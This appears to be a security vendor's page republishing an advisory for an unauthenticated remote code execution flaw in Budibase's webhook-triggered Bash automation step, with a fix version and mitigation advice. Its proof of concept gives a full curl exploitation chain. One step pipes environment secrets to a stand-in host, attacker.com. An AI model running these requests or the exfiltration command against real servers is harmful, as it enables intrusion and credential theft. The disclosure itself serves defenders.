Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-fcm4-4pj2-m5hf

CRITICALFix: Budibase/budibase#18238

GHSA-fcm4-4pj2-m5hf is a critical-severity (CVSS 9) OS Command Injection vulnerability in @budibase/server. O3 Security confirms whether GHSA-fcm4-4pj2-m5hf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step

Also known asCVE-2026-35216
Published
Apr 4, 2026
Updated
Apr 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

@budibase/servernpm
11Kdownloads / week

Description

Summary

An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container.

Details

Vulnerable endpoint — packages/server/src/api/routes/webhook.ts line 13:

// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)

The webhook trigger endpoint is registered on publicRoutes with no authentication middleware. Any unauthenticated HTTP client can POST to this endpoint.

Vulnerable sink — packages/server/src/automations/steps/bash.ts lines 21–26:

const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()

The Bash automation step uses Handlebars template processing (processStringSync) on inputs.code, substituting values from the webhook request body into the shell command string before passing it to execSync().

Attack chain:

HTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH
        ↓
controller.trigger()  [webhook.ts:90]
        ↓
triggers.externalTrigger()
        ↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run()  [actions.ts:131]
        ↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
        ↓
execSync("ATTACKER_PAYLOAD")                          ← RCE AS ROOT

Precondition: An admin must have created and published an automation containing:

  1. A Webhook trigger
  2. A Bash step whose code field uses a trigger field template (e.g., {{ trigger.cmd }})

This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks.

Note on EXECUTE_BASH availability: The bash step is only registered when SELF_HOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments:

// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
  ACTION_IMPLS["EXECUTE_BASH"] = bash.run
  BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}

Webhook context flattening (why {{ trigger.cmd }} works):

In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations the params.fields are spread directly into the trigger context:

// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
  params = {
    ...params,
    ...params.fields,  // { cmd: "PAYLOAD" } becomes top-level
    fields: {},
  }
}

This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }} in the bash step template.

PoC

Environment

Target:  http://TARGET:10000   (any self-hosted Budibase instance)
Tester:  Any machine with curl
Auth:    Admin credentials required for SETUP PHASE only
         Zero auth required for EXPLOITATION PHASE

PHASE 1 — Admin Setup (performed once by legitimate admin)

Note: This phase represents normal Budibase usage. Any admin who creates a webhook automation with a bash step using template variables creates this exposure.

Step 1 — Authenticate as admin:

curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": "[email protected]",
    "password": "adminpassword"
  }'

# Expected response:
# {"message":"Login successful"}

Step 2 — Create an application:

curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
  -H "Content-Type: application/json" \
  -d '{
    "name": "MyApp",
    "useTemplate": false,
    "url": "/myapp"
  }'

# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"

APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"

Step 3 — Create automation with Webhook trigger + Bash step:

curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{
    "name": "WebhookBash",
    "type": "automation",
    "definition": {
      "trigger": {
        "id": "trigger_1",
        "name": "Webhook",
        "event": "app:webhook:trigger",
        "stepId": "WEBHOOK",
        "type": "TRIGGER",
        "icon": "paper-plane-right",
        "description": "Trigger an automation when a HTTP POST webhook is hit",
        "tagline": "Webhook endpoint is hit",
        "inputs": {},
        "schema": {
          "inputs": { "properties": {} },
          "outputs": {
            "properties": { "body": { "type": "object" } }
          }
        }
      },
      "steps": [
        {
          "id": "bash_step_1",
          "name": "Bash Scripting",
          "stepId": "EXECUTE_BASH",
          "type": "ACTION",
          "icon": "git-branch",
          "description": "Run a bash script",
          "tagline": "Execute a bash command",
          "inputs": {
            "code": "{{ trigger.cmd }}"
          },
          "schema": {
            "inputs": {
              "properties": { "code": { "type": "string" } }
            },
            "outputs": {
              "properties": {
                "stdout": { "type": "string" },
                "success": { "type": "boolean" }
              }
            }
          }
        }
      ]
    }
  }'

# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }

AUTO_ID="au_b713759f83f64efda067e17b65545fce"

Step 4 — Enable the automation (new automations start as disabled):

# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
  -H "x-budibase-app-id: $APP_ID")

# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")

curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "$UPDATED"

Step 5 — Create webhook linked to the automation:

curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d "{
    \"name\": \"MyWebhook\",
    \"action\": {
      \"type\": \"automation\",
      \"target\": \"$AUTO_ID\"
    }
  }"

# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }

WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"

Step 6 — Publish the app to production:

curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
  -H "x-budibase-app-id: $APP_ID"

# Expected: {"status":"SUCCESS","appUrl":"/myapp"}

# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"

PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)

The attacker only needs the production app_id and webhook_id. These can be obtained via:

  • Enumeration of the Budibase web UI (app URLs are semi-public)
  • Leaked configuration files or environment variables
  • Insider knowledge or social engineering

Step 7 — Basic RCE — whoami/id:

PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"

# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'

# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}

# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.

Step 8 — Exfiltrate all secrets:

curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'

Confirmed secrets leaked (no auth):

JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase

Impact

  • Who is affected: All self-hosted Budibase deployments (SELF_HOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow.

  • What can an attacker do:

    • Execute arbitrary OS commands as root inside the application container
    • Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
    • Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
    • Establish reverse shells and persistent access
    • Read/write/delete all application data via CouchDB access
    • Forge JWT tokens using the leaked JWT_SECRET to impersonate any user
    • Potentially escape the container if --privileged or volume mounts are used
  • Authentication required: None — completely unauthenticated

  • User interaction required: None

  • Network access required: Only access to port 10000 (the Budibase proxy port)

Discovered By: Abdulrahman Albatel Abdullah Alrasheed

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@budibase/serverall versions3.33.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @budibase/server to 3.33.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fcm4-4pj2-m5hf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fcm4-4pj2-m5hf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fcm4-4pj2-m5hf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container. ### Details **Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:** ```typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger) ``` The webhook trigger endpoint is registered on `
O3 Security · Impact-Aware SCA

Is GHSA-fcm4-4pj2-m5hf in your dependencies?

O3 detects GHSA-fcm4-4pj2-m5hf across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.